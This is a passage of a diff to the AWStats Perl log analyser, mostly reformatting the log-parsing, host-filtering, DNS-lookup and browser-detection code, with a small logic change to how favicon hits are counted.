+ "07", "$Message[66]", "08", "$Message[67]", "09", "$Message[68]",
+ "10", "$Message[69]", "11", "$Message[70]", "12", "$Message[71]"
);
# Build ListOfYears list with all existing years
(
- $lastyearbeforeupdate, $lastmonthbeforeupdate, $lastdaybeforeupdate,
- $lasthourbeforeupdate, $lastdatebeforeupdate
+ $lastyearbeforeupdate, $lastmonthbeforeupdate, $lastdaybeforeupdate,
+ $lasthourbeforeupdate, $lastdatebeforeupdate
)
= ( 0, 0, 0, 0, 0 );
my $datemask = '';
}
if ($Debug) {
- debug( "Scan for last history files into DirData='$DirData' with mask='$datemask'"
+ debug(
+"Scan for last history files into DirData='$DirData' with mask='$datemask'"
);
}
opendir( DIR, "$DirData" );
my $regfilesuffix = quotemeta($FileSuffix);
foreach ( grep /^$PROG$datemask$regfilesuffix\.txt(|\.gz)$/i,
- file_filt sort readdir DIR )
+ file_filt sort readdir DIR )
{
/^$PROG$datemask$regfilesuffix\.txt(|\.gz)$/i;
if ( !$ListOfYears{"$2"} || "$1" gt $ListOfYears{"$2"} ) {
if ($lastyearbeforeupdate) {
# Read 'general' section of last history file for LastLine
- &Read_History_With_TmpUpdate(
- $lastyearbeforeupdate,
- $lastmonthbeforeupdate,
- $lastdaybeforeupdate,
- $lasthourbeforeupdate,
- 0,
- 0,
- "general"
- );
+ &Read_History_With_TmpUpdate( $lastyearbeforeupdate, $lastmonthbeforeupdate,
+ $lastdaybeforeupdate, $lasthourbeforeupdate, 0, 0, "general" );
}
# Warning if lastline in future
}
if ($Debug) {
debug(
- "Last year=$lastyearbeforeupdate - Last month=$lastmonthbeforeupdate");
+ "Last year=$lastyearbeforeupdate - Last month=$lastmonthbeforeupdate");
debug("Last day=$lastdaybeforeupdate - Last hour=$lasthourbeforeupdate");
debug("LastLine=$LastLine");
debug("LastLineNumber=$LastLineNumber");
{ # Update only on index page or when not framed to avoid update twice
my %MonthNum = (
- "Jan", "01", "jan", "01", "Feb", "02", "feb", "02",
- "Mar", "03", "mar", "03", "Apr", "04", "apr", "04",
- "May", "05", "may", "05", "Jun", "06", "jun", "06",
- "Jul", "07", "jul", "07", "Aug", "08", "aug", "08",
- "Sep", "09", "sep", "09", "Oct", "10", "oct", "10",
- "Nov", "11", "nov", "11", "Dec", "12", "dec", "12"
+ "Jan", "01", "jan", "01", "Feb", "02", "feb", "02", "Mar", "03",
+ "mar", "03", "Apr", "04", "apr", "04", "May", "05", "may", "05",
+ "Jun", "06", "jun", "06", "Jul", "07", "jul", "07", "Aug", "08",
+ "aug", "08", "Sep", "09", "sep", "09", "Oct", "10", "oct", "10",
+ "Nov", "11", "nov", "11", "Dec", "12", "dec", "12"
)
; # MonthNum must be in english because used to translate log date in apache log files
}
elsif ( $DatabaseBreak eq 'day' ) {
$lastprocesseddate = sprintf( "%04i%02i%02i",
- $lastprocessedyear, $lastprocessedmonth,
- $lastprocessedday );
+ $lastprocessedyear, $lastprocessedmonth, $lastprocessedday );
}
elsif ( $DatabaseBreak eq 'hour' ) {
$lastprocesseddate = sprintf(
- "%04i%02i%02i%02i",
- $lastprocessedyear, $lastprocessedmonth,
- $lastprocessedday, $lastprocessedhour
+ "%04i%02i%02i%02i",
+ $lastprocessedyear, $lastprocessedmonth,
+ $lastprocessedday, $lastprocessedhour
);
}
}
if ($Debug) {
debug(
- "RobotsSearchIDOrder has now "
- . @RobotsSearchIDOrder
- . " elements",
- 1
+ "RobotsSearchIDOrder has now " . @RobotsSearchIDOrder . " elements",
+ 1
);
}
}
if ($Debug) {
debug(
- "SearchEnginesSearchIDOrder has now "
- . @SearchEnginesSearchIDOrder
- . " elements",
- 1
+ "SearchEnginesSearchIDOrder has now "
+ . @SearchEnginesSearchIDOrder
+ . " elements",
+ 1
);
}
# Complete HostAliases array
my $sitetoanalyze = quotemeta( lc($SiteDomain) );
if ( !@HostAliases ) {
- warning( "Warning: HostAliases parameter is not defined, $PROG choose \"$SiteDomain localhost 127.0.0.1\"."
+ warning(
+"Warning: HostAliases parameter is not defined, $PROG choose \"$SiteDomain localhost 127.0.0.1\"."
);
push @HostAliases, qr/^$sitetoanalyze$/i;
push @HostAliases, qr/^localhost$/i;
@SkipDNSLookupFor = &OptimizeArray( \@SkipDNSLookupFor, 1 );
if ($Debug) {
debug(
- "SkipDNSLookupFor precompiled regex list is now @SkipDNSLookupFor",
- 1 );
+ "SkipDNSLookupFor precompiled regex list is now @SkipDNSLookupFor",
+ 1
+ );
}
@SkipHosts = &OptimizeArray( \@SkipHosts, 1 );
if ($Debug) {
@SkipReferrers = &OptimizeArray( \@SkipReferrers, 1 );
if ($Debug) {
debug( "SkipReferrers precompiled regex list is now @SkipReferrers",
- 1 );
+ 1 );
}
@SkipUserAgents = &OptimizeArray( \@SkipUserAgents, 1 );
if ($Debug) {
debug( "SkipUserAgents precompiled regex list is now @SkipUserAgents",
- 1 );
+ 1 );
}
@SkipFiles = &OptimizeArray( \@SkipFiles, $URLNotCaseSensitive );
if ($Debug) {
@OnlyUserAgents = &OptimizeArray( \@OnlyUserAgents, 1 );
if ($Debug) {
debug( "OnlyUserAgents precompiled regex list is now @OnlyUserAgents",
- 1 );
+ 1 );
}
@OnlyFiles = &OptimizeArray( \@OnlyFiles, $URLNotCaseSensitive );
if ($Debug) {
if ($URLNotCaseSensitive) { $regdefault = qr/$defquoted$/i; }
else { $regdefault = qr/$defquoted$/; }
my $regipv4 = qr/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/;
- my $regipv4l = qr/^::ffff:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/;
+ my $regipv4l = qr/^::ffff:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/;
my $regipv6 = qr/^[0-9A-F]*:/i;
my $regvermsie = qr/msie([+_ ]|)([\d\.]*)/i;
my $regvernetscape = qr/netscape.?\/([\d\.]*)/i;
my $regverfirefox = qr/firefox\/([\d\.]*)/i;
- my $regveropera = qr/opera\/([\d\.]*)/i;
- my $regversafari = qr/safari\/([\d\.]*)/i;
+ my $regveropera = qr/opera\/([\d\.]*)/i;
+ my $regversafari = qr/safari\/([\d\.]*)/i;
my $regverchrome = qr/chrome\/([\d\.]*)/i;
- my $regverkonqueror = qr/konqueror\/([\d\.]*)/i;
+ my $regverkonqueror = qr/konqueror\/([\d\.]*)/i;
my $regversvn = qr/svn\/([\d\.]*)/i;
my $regvermozilla = qr/mozilla(\/|)([\d\.]*)/i;
my $regnotie = qr/webtv|omniweb|opera/i;
my $regnotnetscape = qr/gecko|compatible|opera|galeon|safari|charon/i;
- my $regnotfirefox = qr/flock/i;
+ my $regnotfirefox = qr/flock/i;
my $regnotsafari = qr/arora|chrome|shiira/i;
my $regreferer = qr/^(\w+):\/\/([^\/:]+)(:\d+|)/;
my $regreferernoquery = qr/^([^$URLQuerySeparators]+)/;
#if (! eval("use Socket;")) { error("Failed to load perl module Socket."); }
#use Socket;
&Read_DNS_Cache( \%TmpDNSLookup, "$DNSLastUpdateCacheFile",
- "$FileSuffix", 0 )
+ "$FileSuffix", 0 )
; # Load with no save into a second plugin file. Use FileSuffix
}
}
# Try a direct seek access to save time
if ($Debug) {
- debug( "Try a direct access to LastLine=$LastLine, LastLineNumber=$LastLineNumber, LastLineOffset=$LastLineOffset, LastLineChecksum=$LastLineChecksum"
+ debug(
+"Try a direct access to LastLine=$LastLine, LastLineNumber=$LastLineNumber, LastLineOffset=$LastLineOffset, LastLineChecksum=$LastLineChecksum"
);
}
seek( LOG, $LastLineOffset, 0 );
my $delay = &GetDelaySinceStart(0);
print "$NbOfLinesParsed lines processed ("
. ( $delay > 0 ? $delay : 1000 ) . " ms, "
- . int( 1000 * $NbOfLinesShowsteps / ( $delay > 0 ? $delay : 1000 )
+ . int(
+ 1000 * $NbOfLinesShowsteps / ( $delay > 0 ? $delay : 1000 )
)
. " lines/second)\n";
}
. " (record format does not match LogFormat parameter): $line\n";
}
}
- if ( $NbOfLinesParsed >= $NbOfLinesForCorruptedLog
- && $NbOfLinesParsed == $NbOfLinesCorrupted )
+ if ( $NbOfLinesParsed >= $NbOfLinesForCorruptedLog
+ && $NbOfLinesParsed == $NbOfLinesCorrupted )
{
error( "Format error", $line, $LogFile );
} # Exit with format error
}
if ($Debug) {
debug(
- " Correct format line "
- . ( $lastlinenb + $NbOfLinesParsed )
- . ": $string",
- 4
+ " Correct format line "
+ . ( $lastlinenb + $NbOfLinesParsed )
+ . ": $string",
+ 4
);
}
}
if (
$LogType eq 'W'
&& (
- $field[$pos_method] eq 'GET'
- || $field[$pos_method] eq 'POST'
- || $field[$pos_method] eq 'HEAD'
- || $field[$pos_method] eq 'PROPFIND'
- || $field[$pos_method] eq 'CHECKOUT'
- || $field[$pos_method] eq 'LOCK'
- || $field[$pos_method] eq 'PROPPATCH'
- || $field[$pos_method] eq 'OPTIONS'
- || $field[$pos_method] eq 'MKACTIVITY'
- || $field[$pos_method] eq 'PUT'
- || $field[$pos_method] eq 'MERGE'
- || $field[$pos_method] eq 'DELETE'
- || $field[$pos_method] eq 'REPORT'
- || $field[$pos_method] eq 'MKCOL'
- || $field[$pos_method] eq 'COPY'
- || $field[$pos_method] eq 'RPC_IN_DATA'
- || $field[$pos_method] eq 'RPC_OUT_DATA'
- || $field[$pos_method] eq 'OK' # Webstar
- || $field[$pos_method] eq 'ERR!' # Webstar
- || $field[$pos_method] eq 'PRIV' # Webstar
+ $field[$pos_method] eq 'GET'
+ || $field[$pos_method] eq 'POST'
+ || $field[$pos_method] eq 'HEAD'
+ || $field[$pos_method] eq 'PROPFIND'
+ || $field[$pos_method] eq 'CHECKOUT'
+ || $field[$pos_method] eq 'LOCK'
+ || $field[$pos_method] eq 'PROPPATCH'
+ || $field[$pos_method] eq 'OPTIONS'
+ || $field[$pos_method] eq 'MKACTIVITY'
+ || $field[$pos_method] eq 'PUT'
+ || $field[$pos_method] eq 'MERGE'
+ || $field[$pos_method] eq 'DELETE'
+ || $field[$pos_method] eq 'REPORT'
+ || $field[$pos_method] eq 'MKCOL'
+ || $field[$pos_method] eq 'COPY'
+ || $field[$pos_method] eq 'RPC_IN_DATA'
+ || $field[$pos_method] eq 'RPC_OUT_DATA'
+ || $field[$pos_method] eq 'OK' # Webstar
+ || $field[$pos_method] eq 'ERR!' # Webstar
+ || $field[$pos_method] eq 'PRIV' # Webstar
)
)
{
# HTTP request. Keep only GET, POST, HEAD, *OK* and ERR! for Webstar. Do not keep OPTIONS, TRACE
}
elsif (
- ( $LogType eq 'W' || $LogType eq 'S' )
- && ( $field[$pos_method] eq 'GET'
- || $field[$pos_method] eq 'mms'
- || $field[$pos_method] eq 'rtsp'
- || $field[$pos_method] eq 'http'
- || $field[$pos_method] eq 'RTP' )
+ ( $LogType eq 'W' || $LogType eq 'S' )
+ && ( $field[$pos_method] eq 'GET'
+ || $field[$pos_method] eq 'mms'
+ || $field[$pos_method] eq 'rtsp'
+ || $field[$pos_method] eq 'http'
+ || $field[$pos_method] eq 'RTP' )
)
{
# Mail request ('SMTP' for mail log with maillogconvert.pl preprocessor)
}
elsif (
- $LogType eq 'F'
- && ( $field[$pos_method] eq 'RETR'
- || $field[$pos_method] eq 'o'
- || $field[$pos_method] =~ /$regget/o )
+ $LogType eq 'F'
+ && ( $field[$pos_method] eq 'RETR'
+ || $field[$pos_method] eq 'o'
+ || $field[$pos_method] =~ /$regget/o )
)
{
# FTP GET request
}
elsif (
- $LogType eq 'F'
- && ( $field[$pos_method] eq 'STOR'
- || $field[$pos_method] eq 'i'
- || $field[$pos_method] =~ /$regsent/o )
+ $LogType eq 'F'
+ && ( $field[$pos_method] eq 'STOR'
+ || $field[$pos_method] eq 'i'
+ || $field[$pos_method] =~ /$regsent/o )
)
{
# DD/Month/YYYY:HH:MM:SS (Apache), DD/MM/YYYY HH:MM:SS, Mon DD HH:MM:SS
if ( !$dateparts[1] ) { # Unix timestamp
(
- $dateparts[5], $dateparts[4], $dateparts[3],
- $dateparts[0], $dateparts[1], $dateparts[2]
+ $dateparts[5], $dateparts[4], $dateparts[3],
+ $dateparts[0], $dateparts[1], $dateparts[2]
)
= localtime( int( $field[$pos_date] ) );
$dateparts[1]++;
sprintf( "%04i%02i%02i", $yearrecord, $monthrecord, $dayrecord );
}
elsif ( $DatabaseBreak eq 'hour' ) {
- $daterecord = sprintf(
- "%04i%02i%02i%02i",
- $yearrecord, $monthrecord,
- $dayrecord, $hourrecord
- );
+ $daterecord = sprintf( "%04i%02i%02i%02i",
+ $yearrecord, $monthrecord, $dayrecord, $hourrecord );
}
# TODO essayer de virer yearmonthrecord
sprintf( "$dateparts[2]%02i%02i", $dateparts[1], $dateparts[0] );
my $timerecord =
( ( int("$yearmonthdayrecord") * 100 + $dateparts[3] ) * 100 +
- $dateparts[4] ) * 100 + $dateparts[5];
+ $dateparts[4] ) * 100 + $dateparts[5];
# Check date
#-----------------------
}
elsif ( $DatabaseBreak eq 'day' ) {
$daterecord = sprintf( "%04i%02i%02i",
- $yearrecord, $monthrecord, $dayrecord );
+ $yearrecord, $monthrecord, $dayrecord );
}
elsif ( $DatabaseBreak eq 'hour' ) {
- $daterecord = sprintf(
- "%04i%02i%02i%02i",
- $yearrecord, $monthrecord,
- $dayrecord, $hourrecord
- );
+ $daterecord = sprintf( "%04i%02i%02i%02i",
+ $yearrecord, $monthrecord, $dayrecord, $hourrecord );
}
# TODO essayer de virer yearmonthrecord
sprintf( "$yearrecord%02i%02i", $dateparts[1], $dateparts[0] );
$timerecord =
( ( int("$yearmonthdayrecord") * 100 + $dateparts[3] ) * 100 +
- $dateparts[4] ) * 100 + $dateparts[5];
+ $dateparts[4] ) * 100 + $dateparts[5];
}
if ( $timerecord < 10000000000000 || $timerecord > $tomorrowtime ) {
$NbOfLinesCorrupted++;
$NewLinePhase = 1; # We will never enter here again
if ($ShowSteps) {
if ( $NbOfLinesShowsteps > 1
- && ( $NbOfLinesShowsteps & $NBOFLINESFORBENCHMARK ) )
+ && ( $NbOfLinesShowsteps & $NBOFLINESFORBENCHMARK ) )
{
my $delay = &GetDelaySinceStart(0);
print ""
. " lines processed ("
. ( $delay > 0 ? $delay : 1000 ) . " ms, "
. int( 1000 * ( $NbOfLinesShowsteps - 1 ) /
- ( $delay > 0 ? $delay : 1000 ) )
+ ( $delay > 0 ? $delay : 1000 ) )
. " lines/second)\n";
}
&GetDelaySinceStart(1);
# Here, field array, timerecord and yearmonthdayrecord are initialized for log record
if ($Debug) {
debug( " This is a not already processed record ($timerecord)",
- 4 );
+ 4 );
}
# We found a new line
# Skip for some client host IP addresses, some URLs, other URLs
if (
- @SkipHosts
- && ( &SkipHost( $field[$pos_host] )
- || ( $pos_hostr && &SkipHost( $field[$pos_hostr] ) ) )
+ @SkipHosts
+ && ( &SkipHost( $field[$pos_host] )
+ || ( $pos_hostr && &SkipHost( $field[$pos_hostr] ) ) )
)
{
$qualifdrop =
$qualifdrop =
"Dropped record (URL $field[$pos_url] not qualified by SkipFiles)";
}
- elsif ( @SkipUserAgents
- && $pos_agent >= 0
- && &SkipUserAgent( $field[$pos_agent] ) )
+ elsif (@SkipUserAgents
+ && $pos_agent >= 0
+ && &SkipUserAgent( $field[$pos_agent] ) )
{
$qualifdrop =
"Dropped record (user agent '$field[$pos_agent]' not qualified by SkipUserAgents)";
}
- elsif ( @SkipReferrers
- && $pos_referer >= 0
- && &SkipReferrer( $field[$pos_referer] ) )
+ elsif (@SkipReferrers
+ && $pos_referer >= 0
+ && &SkipReferrer( $field[$pos_referer] ) )
{
$qualifdrop =
"Dropped record (URL $field[$pos_referer] not qualified by SkipReferrers)";
}
- elsif ( @OnlyHosts
- && !&OnlyHost( $field[$pos_host] )
- && ( !$pos_hostr || !&OnlyHost( $field[$pos_hostr] ) ) )
+ elsif (@OnlyHosts
+ && !&OnlyHost( $field[$pos_host] )
+ && ( !$pos_hostr || !&OnlyHost( $field[$pos_hostr] ) ) )
{
$qualifdrop =
"Dropped record (host $field[$pos_host]"
}
elsif ( $DatabaseBreak eq 'day' ) {
$lastprocesseddate = sprintf( "%04i%02i%02i",
- $yearrecord, $monthrecord, $dayrecord );
+ $yearrecord, $monthrecord, $dayrecord );
}
elsif ( $DatabaseBreak eq 'hour' ) {
- $lastprocesseddate = sprintf(
- "%04i%02i%02i%02i",
- $yearrecord, $monthrecord,
- $dayrecord, $hourrecord
- );
+ $lastprocesseddate = sprintf( "%04i%02i%02i%02i",
+ $yearrecord, $monthrecord, $dayrecord, $hourrecord );
}
}
$standalonequery = $2 || '';
# For IIS setup, if pos_query is enabled we need to combine the URL to query strings
- if ( !$foundparam
- && $pos_query >= 0
- && $field[$pos_query]
- && $field[$pos_query] ne '-' )
+ if ( !$foundparam
+ && $pos_query >= 0
+ && $field[$pos_query]
+ && $field[$pos_query] ne '-' )
{
$foundparam = 1;
$tokenquery = '?';
$standalonequery = $2 || '';
# For IIS setup, if pos_query is enabled we need to use it for query strings
- if ( $pos_query >= 0
- && $field[$pos_query]
- && $field[$pos_query] ne '-' )
+ if ( $pos_query >= 0
+ && $field[$pos_query]
+ && $field[$pos_query] ne '-' )
{
$tokenquery = '?';
$standalonequery = $field[$pos_query];
if ($foundparam) { $_misc_h{"TotalMisc"}++; }
}
- # Analyze: favicon (=> countedtraffic=1 if favicon)
+ # Analyze: successful favicon (=> countedtraffic=1 if favicon)
#--------------------------------------------------
- if ( $pos_referer >= 0
- && $field[$pos_referer]
- && $urlwithnoquery =~ /$regfavico/o )
+ if ($urlwithnoquery =~ /$regfavico/o)
{
- if (
- (
- $field[$pos_code] != 404
- || $urlwithnoquery !~ /\/.+\/favicon\.ico$/i
- )
- && ( $field[$pos_agent] =~ /MSIE/ )
- )
- {
-
-# We don't count one hit if (not on root and error) and MSIE
-# If error not on root, another hit will be made on root. If not MSIE, hit are made not only for "Adding".
- $_misc_h{'AddToFavourites'}
- ++; # Hit on favicon on root or without error, we count it
+ if ($field[$pos_code] != 404) {
+ $_misc_h{'AddToFavourites'}++;
}
$countedtraffic =
1; # favicon is a case that must not be counted anywhere else
+ $_time_nv_h[$hourrecord]++;
+ if ($field[$pos_code] != 404) {
+ $_time_nv_k[$hourrecord] += int( $field[$pos_size] );
+ }
}
# Analyze: Worms (=> countedtraffic=2 if worm)
# This is an error code which referrer need to be tracked
my $newurl =
substr( $field[$pos_url], 0,
- $MaxLengthOfStoredURL );
+ $MaxLengthOfStoredURL );
$newurl =~ s/[$URLQuerySeparators].*$//;
$_sider404_h{$newurl}++;
if ( $pos_referer >= 0 ) {
if ( !$ValidSMTPCodes{ $field[$pos_code] } )
{ # Code is not valid
$_errors_h{ $field[$pos_code] }++;
- if ($field[$pos_size] ne '-') {
- $_errors_k{$field[$pos_code]}+=int($field[$pos_size]);
+ if ( $field[$pos_size] ne '-' ) {
+ $_errors_k{ $field[$pos_code] } +=
+ int( $field[$pos_size] );
}
if ($Debug) {
debug(
$countedtraffic = 3;
if ($PageBool) { $_time_nv_p[$hourrecord]++; }
$_time_nv_h[$hourrecord]++;
- if ($field[$pos_size] ne '-') {
- $_time_nv_k[$hourrecord]+=int($field[$pos_size]);
+ if ( $field[$pos_size] ne '-' ) {
+ $_time_nv_k[$hourrecord] += int( $field[$pos_size] );
}
}
}
);
}
$_robot_h{$uarobot}++;
- if ($field[$pos_size] ne '-') {
- $_robot_k{$uarobot}+=int($field[$pos_size]);
+ if ( $field[$pos_size] ne '-' ) {
+ $_robot_k{$uarobot} += int( $field[$pos_size] );
}
$_robot_l{$uarobot} = $timerecord;
if ( $urlwithnoquery =~ /$regrobot/o ) {
$countedtraffic = 4;
if ($PageBool) { $_time_nv_p[$hourrecord]++; }
$_time_nv_h[$hourrecord]++;
- if ($field[$pos_size] ne '-') {
- $_time_nv_k[$hourrecord]+=int($field[$pos_size]);
+ if ( $field[$pos_size] ne '-' ) {
+ $_time_nv_k[$hourrecord] +=
+ int( $field[$pos_size] );
}
}
}
if ( !$countedtraffic ) {
if ($LevelForFileTypesDetection) {
$_filetypes_h{$extension}++;
- if ($field[$pos_size] ne '-') {
- $_filetypes_k{$extension}+=int($field[$pos_size]);
+ if ( $field[$pos_size] ne '-' ) {
+ $_filetypes_k{$extension} += int( $field[$pos_size] );
}
- # Compression
+
+ # Compression
if ( $pos_gzipin >= 0 && $field[$pos_gzipin] )
- { # If in and out in log
+ { # If in and out in log
my ( $notused, $in ) = split( /:/, $field[$pos_gzipin] );
my ( $notused1, $out, $notused2 ) =
split( /:/, $field[$pos_gzipout] );
}
}
elsif ( $pos_compratio >= 0
- && ( $field[$pos_compratio] =~ /(\d+)/ ) )
+ && ( $field[$pos_compratio] =~ /(\d+)/ ) )
{ # Calculate in/out size from percentage
if ( $fieldlib[$pos_compratio] eq 'gzipratio' ) {
# with mod_gzip: % is size (before-after)/before (low for jpg) ??????????
$_filetypes_gz_in{$extension} +=
int(
- $field[$pos_size] * 100 / ( ( 100 - $1 ) || 1 ) );
+ $field[$pos_size] * 100 / ( ( 100 - $1 ) || 1 ) );
}
else {
$LastTime{$lastprocesseddate} = $timerecord;
$DayPages{$yearmonthdayrecord}++;
$_url_p{ $field[$pos_url] }++; #Count accesses for page (page)
- if ($field[$pos_size] ne '-') {
- $_url_k{$field[$pos_url]}+=int($field[$pos_size]);
+ if ( $field[$pos_size] ne '-' ) {
+ $_url_k{ $field[$pos_url] } += int( $field[$pos_size] );
}
$_time_p[$hourrecord]++; #Count accesses for hour (page)
# TODO Use an id for hash key of url
}
$_time_h[$hourrecord]++;
$DayHits{$yearmonthdayrecord}++; #Count accesses for hour (hit)
- if ($field[$pos_size] ne '-') {
- $_time_k[$hourrecord]+=int($field[$pos_size]);
- $DayBytes{$yearmonthdayrecord}+=int($field[$pos_size]); #Count accesses for hour (kb)
+ if ( $field[$pos_size] ne '-' ) {
+ $_time_k[$hourrecord] += int( $field[$pos_size] );
+ $DayBytes{$yearmonthdayrecord} +=
+ int( $field[$pos_size] ); #Count accesses for hour (kb)
}
# Analyze: Login
#---------------
- if ( $pos_logname >= 0
- && $field[$pos_logname]
- && $field[$pos_logname] ne '-' )
+ if ( $pos_logname >= 0
+ && $field[$pos_logname]
+ && $field[$pos_logname] ne '-' )
{
$field[$pos_logname] =~
s/ /_/g; # This is to allow space in logname
if ( !$countedtraffic ) {
my $ip = 0;
if ($DNSLookup) { # DNS lookup is 1 or 2
- if ($Host =~ /$regipv4l/o) { # IPv4 lighttpd
+ if ( $Host =~ /$regipv4l/o ) { # IPv4 lighttpd
$Host =~ s/^::ffff://;
$ip = 4;
}
- elsif ($Host =~ /$regipv4/o) { $ip=4; } # IPv4
+ elsif ( $Host =~ /$regipv4/o ) { $ip = 4; } # IPv4
elsif ( $Host =~ /$regipv6/o ) { $ip = 6; } # IPv6
if ($ip) {
if ( $ip == 4 ) {
my $lookupresult =
gethostbyaddr(
- pack( "C4", split( /\./, $Host ) ),
- AF_INET )
+ pack( "C4", split( /\./, $Host ) ),
+ AF_INET )
; # This is very slow, may spend 20 seconds
- if ( !$lookupresult
- || $lookupresult =~ /$regipv4/o
- || !IsAscii($lookupresult) )
+ if ( !$lookupresult
+ || $lookupresult =~ /$regipv4/o
+ || !IsAscii($lookupresult) )
{
$TmpDNSLookup{$Host} = $HostResolved =
'*';
}
elsif ( $ip == 6 ) {
if ( $PluginsLoaded{'GetResolvedIP'}
- {'ipv6'} )
+ {'ipv6'} )
{
my $lookupresult =
GetResolvedIP_ipv6($Host);
- if ( !$lookupresult
- || !IsAscii($lookupresult) )
+ if ( !$lookupresult
+ || !IsAscii($lookupresult) )
{
$TmpDNSLookup{$Host} =
$HostResolved = '*';
else {
$TmpDNSLookup{$Host} = $HostResolved =
'*';
- warning( "Reverse DNS lookup for $Host not available without ipv6 plugin enabled."
+ warning(
+"Reverse DNS lookup for $Host not available without ipv6 plugin enabled."
);
}
}
}
}
else {
- if ($Host =~ /$regipv4l/o) { $Host =~ s/^::ffff://; $HostResolved='*'; $ip=4; }
- elsif ($Host =~ /$regipv4/o) { $HostResolved='*'; $ip=4; } # IPv4
+ if ( $Host =~ /$regipv4l/o ) {
+ $Host =~ s/^::ffff://;
+ $HostResolved = '*';
+ $ip = 4;
+ }
+ elsif ( $Host =~ /$regipv4/o ) {
+ $HostResolved = '*';
+ $ip = 4;
+ } # IPv4
elsif ( $Host =~ /$regipv6/o ) {
$HostResolved = '*';
$ip = 6;
}
if ($AtLeastOneSectionPlugin) {
foreach my $pluginname (
- keys %{ $PluginsLoaded{'SectionProcessIp'} } )
+ keys %{ $PluginsLoaded{'SectionProcessIp'} } )
{
my $function = "SectionProcessIp_$pluginname";
if ($Debug) {
# elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_region_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_region_maxmind($Host); }
# elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_city_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_city_maxmind($Host); }
elsif (
- $PluginsLoaded{'GetCountryCodeByAddr'}{'geoipfree'} )
+ $PluginsLoaded{'GetCountryCodeByAddr'}{'geoipfree'} )
{
$Domain = GetCountryCodeByAddr_geoipfree($Host);
}
elsif ( $HostResolved =~ /\.(\w+)$/ ) { $Domain = $1; }
if ($AtLeastOneSectionPlugin) {
foreach my $pluginname (
- keys %{ $PluginsLoaded{'SectionProcessIp'} } )
+ keys %{ $PluginsLoaded{'SectionProcessIp'} } )
{
my $function = "SectionProcessIp_$pluginname";
if ($Debug) {
debug( " Call to plugin function $function",
- 5 );
+ 5 );
}
&$function($Host);
}
# elsif ($PluginsLoaded{'GetCountryCodeByName'}{'geoip_region_maxmind'}) { $Domain=GetCountryCodeByName_geoip_region_maxmind($HostResolved); }
# elsif ($PluginsLoaded{'GetCountryCodeByName'}{'geoip_city_maxmind'}) { $Domain=GetCountryCodeByName_geoip_city_maxmind($HostResolved); }
elsif (
- $PluginsLoaded{'GetCountryCodeByName'}{'geoipfree'} )
+ $PluginsLoaded{'GetCountryCodeByName'}{'geoipfree'} )
{
$Domain = GetCountryCodeByName_geoipfree($HostResolved);
}
my $function = "SectionProcessHostname_$pluginname";
if ($Debug) {
debug( " Call to plugin function $function",
- 5 );
+ 5 );
}
&$function($HostResolved);
}
# Store country
if ($PageBool) { $_domener_p{$Domain}++; }
$_domener_h{$Domain}++;
- if ($field[$pos_size] ne '-') {
- $_domener_k{$Domain}+=int($field[$pos_size]);
+ if ( $field[$pos_size] ne '-' ) {
+ $_domener_k{$Domain} += int( $field[$pos_size] );
}
# Analyze: Host, URL entry+exit and Session
$DayVisits{$yearmonthdayrecord}++;
if ($timehosts) {
$_session{ GetSessionRange( $timehosts,
- $timehostl ) }++;
+ $timehostl ) }++;
}
}
$_host_p{$HostResolved}++;
}
$_host_h{$HostResolved}++;
- if ($field[$pos_size] ne '-') {
- $_host_k{$HostResolved}+=int($field[$pos_size]);
+ if ( $field[$pos_size] ne '-' ) {
+ $_host_k{$HostResolved} += int( $field[$pos_size] );
}
# Analyze: Browser - OS
my $found = 1;
# Opera ?
- if ($UserAgent =~ /$regveropera/o) {
+ if ( $UserAgent =~ /$regveropera/o ) {
$_browser_h{"opera$1"}++;
- $TmpBrowser{$UserAgent}="opera$1";
+ $TmpBrowser{$UserAgent} = "opera$1";
}
+
# Chrome ?
- elsif ($UserAgent =~ /$regverchrome/o) {
+ elsif ( $UserAgent =~ /$regverchrome/o ) {
$_browser_h{"chrome$1"}++;
- $TmpBrowser{$UserAgent}="chrome$1";
+ $TmpBrowser{$UserAgent} = "chrome$1";
}
+
# Safari ?
- elsif ($UserAgent =~ /$regversafari/o && $UserAgent !~ /$regnotsafari/o) {
+ elsif ($UserAgent =~ /$regversafari/o
+ && $UserAgent !~ /$regnotsafari/o )
+ {
my $safariver = $SafariBuildToVersion{$1};
$_browser_h{"safari$safariver"}++;
- $TmpBrowser{$UserAgent}="safari$safariver";
+ $TmpBrowser{$UserAgent} = "safari$safariver";
}
+
# Konqueror ?
- elsif ($UserAgent =~ /$regverkonqueror/o) {
+ elsif ( $UserAgent =~ /$regverkonqueror/o ) {
$_browser_h{"konqueror$1"}++;
- $TmpBrowser{$UserAgent}="konqueror$1";
+ $TmpBrowser{$UserAgent} = "konqueror$1";
}
+
# IE ?
- elsif ( $UserAgent =~ /$regvermsie/o
- && $UserAgent !~ /$regnotie/o )
+ elsif ($UserAgent =~ /$regvermsie/o
+ && $UserAgent !~ /$regnotie/o )
{
$_browser_h{"msie$2"}++;
$TmpBrowser{$UserAgent} = "msie$2";
}
# Firefox ?
- elsif ( $UserAgent =~ /$regverfirefox/o && $UserAgent !~ /$regnotfirefox/o) {
+ elsif ($UserAgent =~ /$regverfirefox/o
+ && $UserAgent !~ /$regnotfirefox/o )
+ {
$_browser_h{"firefox$1"}++;
$TmpBrowser{$UserAgent} = "firefox$1";
}
}
# Netscape 3.x, 4.x ... ?
- elsif ( $UserAgent =~ /$regvermozilla/o
- && $UserAgent !~ /$regnotnetscape/o )
+ elsif ($UserAgent =~ /$regvermozilla/o
+ && $UserAgent !~ /$regnotnetscape/o )
{
$_browser_h{"netscape$2"}++;
$TmpBrowser{$UserAgent} = "netscape$2";
# Analyze: Referer
#-----------------
my $found = 0;
- if ( $pos_referer >= 0
- && $LevelForRefererAnalyze
- && $field[$pos_referer] )
+ if ( $pos_referer >= 0
+ && $LevelForRefererAnalyze
+ && $field[$pos_referer] )
{
# Direct ?
- if ( $field[$pos_referer] eq '-'
- || $field[$pos_referer] eq 'bookmarks' )
+ if ( $field[$pos_referer] eq '-'
+ || $field[$pos_referer] eq 'bookmarks' )
{ # "bookmarks" is sent by Netscape, '-' by all others browsers
# Direct access
if ($PageBool) {
}
$TmpRefererServer{
$refererserver} =
